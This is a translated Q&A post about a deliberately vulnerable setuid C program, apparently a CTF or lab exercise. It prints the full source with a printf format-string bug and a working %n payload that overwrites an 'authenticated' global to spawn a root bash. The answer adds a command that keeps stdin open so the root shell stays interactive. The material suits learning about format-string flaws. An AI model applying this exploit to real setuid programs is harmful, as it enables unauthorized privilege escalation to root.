Setuid二进制文件通过覆盖％n来生成root shell，不能与exploit一起使用，但在不需要利用时可以工作

Question

I have a Setuid binary that has a printf format string vulnerability that is supposed to be exploited with "%n" to overwrite the value of the authenticated global variable. The execution of /bin/bash works with root Setuid permissions when authenticated = 1 , but not when authenticated = 0 and the exploit is used.

I have tried with ls and it works, so the exec is happening. I have also tried making authenticated = 1 in the source so it automatically runs bash with no exploit. This works in spawning a root shell. When the exploit is used, the program calls the access granted function as expected, but ends at the exec and perror is never reached. The parent process dies, though, meaning the exec of bash must have happened. Bash must be being executed, but it is crashing/exiting on startup.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

int authenticated = 0;


void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    int cpid = fork();
    if(cpid == 0){
      printf("child!\n");
      execlp("/bin/bash", "bash", NULL);
      perror("error");
    }
    else{
      wait(NULL);
    }
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  setreuid(geteuid(), getuid());

  printf("Would you like a shell? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);

  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }

  read_flag();

}

With authenticated = 0, I use gdb to find the address of authenticated is somewhere like 0x0804a050. I run the program with AAAA %x %x %x... to find that buf begins at the 4th stack position. My exploit then is: python -c "print('\\x50\\xa0\\x04\\x08%x%x%x%n')" which successfully overwrites the global var as "Access Granted!" is printed. The perror is never reached, and Bash must spawn, but the parent process dies, so the Bash process must have died also. This does not happen when authenticated = 1 . In that scenario, the Setuid binary behaves as expected and pops a root shell.

My question is: why is Bash dying on startup but only when the Detuid binary is exploited? Bash must be dying because ps -aux does not list a new Bash process, and running exit exits the calling bash instance.

Answer 1

When you run one of:

python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload

The only input is your exploit. You don't input any commands, so bash has nothing to do and exits. This is the same thing that happens if you run true | bash true | bash or bash < /dev/null .

If you want to be able to type in some commands manually afterwards, the easiest way to do that is:

{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln